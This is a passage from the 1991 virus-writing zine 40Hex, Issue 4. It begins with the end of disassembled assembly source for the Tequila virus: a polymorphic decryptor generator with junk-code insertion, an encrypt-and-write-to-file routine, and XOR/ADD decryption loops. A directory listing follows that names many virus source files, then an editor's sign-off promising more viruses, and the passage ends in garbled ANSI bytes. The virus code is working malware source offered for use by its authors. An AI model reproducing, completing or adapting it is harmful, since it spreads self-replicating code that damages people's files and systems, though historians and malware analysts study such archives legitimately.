ENCRYPT_STEP_THREE:
   MOV AH,014
   MOV DH,017
   TEST CH,1
   JE 0958           ;Masm Mod. Needed
   XCHG DH,AH
   MOV DI,SI
   MOV AL,08A
   MOV W[SI],AX
   INC SI
   INC SI
   CALL GARBLER
   XOR DL,DL
   MOV B[0A39],028           ;Masm Mod. Needed
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0978           ;Masm Mod. Needed
   MOV DL,030
   MOV B[0A39],DL           ;Masm Mod. Needed
   MOV W[SI],DX
   INC SI
   INC SI
   MOV W[SI],04346
   INC SI
   INC SI
   CALL GARBLER
   MOV AX,0FE81
   MOV CL,0BE
   TEST CH,1
   JE 0993           ;Masm Mod. Needed
   MOV AH,0FB
   MOV CL,0BB
   MOV W[SI],AX
   INC SI
   INC SI
   PUSH BX
   ADD BX,040
   MOV W[SI],BX
   INC SI
   INC SI
   POP BX
   MOV B[SI],072
   INC SI
   MOV DX,SI
   INC SI
   CALL GARBLER
   MOV B[SI],CL
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   MOV AX,SI
   SUB AX,DX
   DEC AX
   MOV BX,DX
   MOV B[BX],AL
   CALL GARBLER
   CALL GARBLER
   MOV B[SI],0E2
   INC SI
   SUB DI,SI
   DEC DI
   MOV AX,DI
   MOV B[SI],AL
   INC SI
   CALL GARBLER
   RET

GARBLER:
   DEC BP
   ES TEST B[BP],0F           ;Masm Mod. Needed
   JE RET           ;Masm Mod. Needed
   DEC BP
   ES MOV AL,B[BP]           ;Masm Mod. Needed
   TEST AL,2
   JE 0A0E           ;Masm Mod. Needed
   TEST AL,4
   JE 09F7           ;Masm Mod. Needed
   TEST AL,8
   JE 09F1           ;Masm Mod. Needed
   MOV W[SI],0C789
   INC SI
   INC SI
   JMP RET           ;Masm Mod. Needed
   MOV B[SI],090
   INC SI
   JMP RET           ;Masm Mod. Needed
   MOV AL,085
   DEC BP
   ES MOV AH,B[BP]           ;Masm Mod. Needed
   TEST AH,2
   JE 0A05           ;Masm Mod. Needed
   DEC AL
   OR AH,0C0
   MOV W[SI],AX
   INC SI
   INC SI
   JMP RET           ;Masm Mod. Needed
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0A1A           ;Masm Mod. Needed
   MOV AL,039
   JMP 09F9           ;Masm Mod. Needed
   MOV B[SI],0FC
   INC SI
   RET

MAKE_THE_DISK_WRITE:
   CALL PERFORM_ENCRYPTION_DECRYPTION
   MOV AH,040
   MOV BX,W[09A4]
   MOV DX,0
   MOV CX,09A4
   PUSHF
   CALL D[09B4]           ;Masm Mod. Needed
   JB 0A37           ;Masm Mod. Needed
   SUB AX,CX
   PUSHF
   CMP B[0A39],028           ;Masm Mod. Needed
   JNE 0A44           ;Masm Mod. Needed
   MOV B[0A39],0           ;Masm Mod. Needed
   CALL PERFORM_ENCRYPTION_DECRYPTION
   POPF
   RET

PERFORM_ENCRYPTION_DECRYPTION:
   MOV BX,0
   MOV SI,0960
   MOV CX,0960
   MOV DL,B[SI]
   XOR B[BX],DL
   INC SI
   INC BX
   CMP SI,09A0
   JB 0A61           ;Masm Mod. Needed
   MOV SI,0960
   LOOP 0A52           ;Masm Mod. Needed
   RET

THE_FILE_DECRYPTING_ROUTINE:
   PUSH CS
   POP DS
   MOV BX,4
   MOV SI,0964
   MOV CX,0960
   MOV DL,B[SI]
   ADD B[BX],DL
   INC SI
   INC BX
   CMP SI,09A4
   JB 0A7E           ;Masm Mod. Needed
   MOV SI,0964
   LOOP 0A6F           ;Masm Mod. Needed
   JMP 0390           ;Masm Mod. Needed

;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
;==========       BUT IS MERELY THE BOOSTER.       ========

START:
   LEA W[0104],EXIT           ;Masm Mod. Needed
   MOV W[0106],CS           ;Masm Mod. Needed
   MOV BX,CS
   SUB W[0106],BX           ;Masm Mod. Needed
   JMP INSTALL

EXIT:
   INT 020

TEQUILA ENDP
CODE_SEG ENDS
END TEQUILA
--------------------------------------------------------------------------------
40Hex Issue 4                                            December 1991

Left Blank
Cause its bad
luck
    how about something real dumb like....



Directory of C:\TASM

.            <DIR>     11-28-91  11:44a
..           <DIR>     11-28-91  11:44a
LAB          <DIR>     12-10-91   8:45p
1605     ASM     38553 12-09-91  12:31p
911      ASM     19267 12-10-91   7:21p
911      SDF      7084 12-10-91  10:41p
BBRAINS  ASM      8990 08-06-91   3:04p
BMONDAY  ASM     21455 12-09-91  12:31p
BOBVIRUS ASM     21280 12-14-91   4:38p
BRU_TEST COM        11 12-16-91   1:52p
CANCER   ASM      2600 02-09-91  12:38a
DARTH2   ASM      8938 12-09-91  11:50a
DEADPOOL ASM      5324 12-14-91   1:00a
DIR2SCAN ASM       892 12-22-91   1:17a
DIR2SCAN COM       112 12-22-91   1:17a
EMFII    ASM     16755 12-08-91  10:55p
FILES    DOC      2373 12-11-91   9:58a
FUNNY    ASM      5807 12-18-91  12:46p
FUNNY    COM       208 12-18-91  12:46p
GREP     DOC     13619 03-13-91   2:02a
HAPPY    ASM      5667 12-18-91  12:32p
HAPPY    MAP        34 12-25-91  11:27a
HEADER              94 12-09-91  10:25a
JOKER    ASM     16258 11-10-91  10:55p
KILL-FSP ASM      1475 11-12-91   4:28p
KILL-FSP COM        55 12-25-91  11:26a
KILL-FSP EXE       823 12-25-91  11:26a
KILL-FSP MAP       103 12-25-91  11:26a
KILL-FSP OBJ       195 12-25-91  11:26a
MAKE     EXE     37056 03-13-91   2:02a
MANUAL   DOC     52126 03-13-91   2:02a
MBIOS    MAC     13380 03-13-91   2:02a
MG-1     ASM      4527 12-17-91  10:58a
MG-1     SDF      2319 12-17-91  10:58a
NAILME   ASM       206 12-18-91  10:01p
NAILME   COM       100 12-19-91  10:26a
OBJXREF  DOC     18404 03-13-91   2:02a
PARITY   ASM      5837 12-09-91  12:49p
PH-VIR1  TXT     22086 11-04-91   9:00p
PROLOG   DOC     23811 03-13-91   2:02a
RAGE     ASM      9335 11-29-91  12:17p
SR       EXE    117543 10-30-89   8:00a
SURVEY   DOC      4479 11-29-91   1:01p
TASM     EXE    106521 03-13-91   2:02a
TASM     TAH    167927 03-13-91   2:02a
TCREF    DOC      4954 03-13-91   2:02a
TCREF    EXE      7856 03-13-91   2:02a
TD       EXE    409360 03-13-91   2:02a
TDCONFIG TD       1208 12-06-91  12:01p
TDCONVRT EXE     35366 03-13-91   2:02a
TDDEV    EXE      8544 03-13-91   2:02a
TDHELP   TDH    126541 03-13-91   2:02a
TDINST   EXE    107638 03-13-91   2:02a
TDMAP    EXE     16944 03-13-91   2:02a
TDMEM    EXE     14256 12-24-91   8:19p
TDNMI    COM       644 03-13-91   2:02a
TDPACK   EXE     25520 03-13-91   2:02a
TDREMOTE EXE     20738 03-13-91   2:02a
TDRF     EXE     17376 03-13-91   2:02a
TDSTRIP  EXE     13868 03-13-91   2:02a
TDUMP    EXE     70554 03-13-91   2:02a
THELP    COM      9912 11-28-91  11:46a
THELP    DOC      7619 03-13-91   2:02a
TINY     ASM      4233 01-01-80  12:26a
TINY     TXT        92 01-01-80  12:25a
TINYB    ASM      4404 01-01-80  12:32a
TINYB    TXT        89 01-01-80  12:31a
TINYC    ASM      4669 01-01-80  12:14a
TINYC    TXT       118 01-01-80  12:31a
TINYD    ASM      5486 01-01-80  12:02a
TINYE    ASM      6464 01-01-80  12:09a
TLIB     EXE     35668 03-13-91   2:02a
TLINK    DOC      3837 03-13-91   2:02a
TLINK    EXE     53510 03-13-91   2:02a
TOUCH    COM      5118 03-13-91   2:02a
UPDATE   DOC     20266 03-13-91   2:02a
VIENNA   ASM     26395 09-30-87  12:59a
VIOL-C   ASM     19096 12-16-91  10:25p
VSAFE    COM     32050 03-28-91   1:00p
VWATCH   COM     12263 03-28-91   1:00p
WIN      COM     19358 12-24-91   9:52p
WINFIX   ASM      2603 12-21-91   8:18p
WINFIX   COM       357 12-24-91   9:52p
WINFIX   MAP       103 12-24-91   9:52p
WINFIX   OBJ       553 12-24-91   9:52p
       85 file(s)    1939259 bytes

Directory of C:\TASM\LAB

.            <DIR>     12-10-91   8:45p
..           <DIR>     12-10-91   8:45p
LAB          <DIR>     12-10-91   8:46p
AMAG0589 TXT     46529 05-21-89   7:06p
AMAG1289 TXT    113270 12-16-89  12:21p
BIT      ASM       778 08-30-91   8:33p
BIT      MAP       103 12-24-91  11:31p
BIT      OBJ       192 12-24-91  11:31p
BUGOFF   ASM       903 12-25-91  11:59a
BUGOFF   COM        43 12-25-91  11:59a
BUGOFF   MAP       103 12-25-91  11:59a
BUGOFF   OBJ       198 12-25-91  11:59a
CRACK-W  ASM      1430 12-24-91   7:49p
CRACK-W  MAP       103 12-24-91   7:47p
DIR      ASM     10274 12-25-91  12:46a
DIR      MAP        99 12-25-91  12:48a
DIR      OBJ       961 12-25-91  12:48a
DIR      SDF      5032 12-25-91  12:46a
DL       ASM       416 12-14-91   6:35p
DUMB     DOC     52346 12-19-91   1:46p
ENW                  3 12-19-91   6:02p
EXE_FILE ASM        80 12-24-91  12:36a
EXE_FILE EXE       516 12-24-91  12:36a
EXE_FILE MAP       220 12-24-91  12:36a
EXE_FILE OBJ       183 12-24-91  12:36a
FUCK_UP  DOC       198 12-23-91  10:33a
FUNGUS   ASM     17120 12-21-91   1:37p
FUNGUS   SDF      4933 12-21-91   1:34p
HAP      ASM      2440 12-16-91  12:42p
HAPPY    ASM      7144 12-25-91  11:30a
HAPPY    COM       248 12-25-91  11:28a
HAPPY    MAP        99 12-25-91  11:28a
HAPPY    OBJ       424 12-25-91  11:28a
HEADER              94 12-09-91  10:25a
KENNEDY  ASM      6663 12-25-91  12:43a
KENNEDY  SDF      2803 12-25-91  12:43a
KILL     ASM       517 12-19-91   6:05p
MAR-INST BAT       205 08-31-91  12:13a
MAR-INST DOC      1037 08-31-91  12:20a
MARAUDER ASM     21997 12-23-91  10:21a
MARAUDER DOC      2305 12-20-91   9:40a
MAR_ASM! ZIP      5361 12-23-91  10:35a
MODES    ASM       244 12-25-91   7:22p
MODES    COM         7 12-25-91   7:22p
MODES    MAP        99 12-25-91   7:22p
MODES    OBJ       136 12-25-91   7:22p
NEW      ASM     21997 12-23-91  10:21a
NEW      COM       869 12-25-91  12:12a
NEW      MAP       103 12-25-91  12:12a
NEW      OBJ      1261 12-25-91  12:12a
NEW_KILL ASM      1318 12-23-91  10:29a
NEXT     ASM      2208 12-25-91  12:41a
PS       ANS      3218 11-25-91   9:43p
SECTOR   ASM      1573 12-11-91  10:52p
SS       DOC       270 08-08-91   3:00p
SS       EXE      6898 08-08-91   3:00p
TARGET   ASM       472 12-20-91   3:32p
TARGET   COM       100 12-25-91   8:53p
TARGET   MAP       103 12-25-91   8:53p
TARGET   OBJ       261 12-25-91   8:53p
       60 file(s)     348507 bytes

Directory of C:\TASM\LAB\LAB

.            <DIR>     12-10-91   8:46p
..           <DIR>     12-10-91   8:46p
        2 file(s)          0 bytes

Total files listed:
      147 file(s)    2287766 bytes
                     1843200 bytes free

40Hex Issue 4                                            December 1991

                            Is This The End?
                            ----------------

   Well, to be honest.  I'm kind of tired writing this magazine.  It's
   not like I hate it or anything, it's just too much pressure for one
   person to handle.  Decimator helped me out a bit with a few articals
   and such.  But still every time I do an issue it's me who does the
   marjority of the work.  It seems the magazine is bigger than I
   thought.  It seems to be on everybodys BBS from NY to California,
   from Canada to Europe.  The thing is I can't write this thing by
   myself anymore.  I work everyday from 2pm - 10pm and I will be going
   back to school next semester.  So I don't have time to handle all the
   things I do.  So in the long run the magazine suffers.  Anyway,
   unless people want to help out (mabey the reason is that I haven't
   really asked before) lemme know.  Contact me on Digital Warefare.
   The numbers in an artical in this issue somewhere I'm sure.  Anyway,
   fuck it, If people don't contribute soon this may well be the last
   issue of this rag ever.  So whatever happens in 1992, we shall see.
   So if this is it, later people.  My viruses will still be coming on
   strong as always...

   Later
   Hellraiser 12/26/91

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uCÜÜ¥CÜÜ¥1HC₧₧₧₧₧₧₧ ₧₧₧  ₧₧₧ ₧₧₧ ₧₧₧₧₧₧₧ ₧₧₧    ₧₧₧1H                                                                   1H1H1H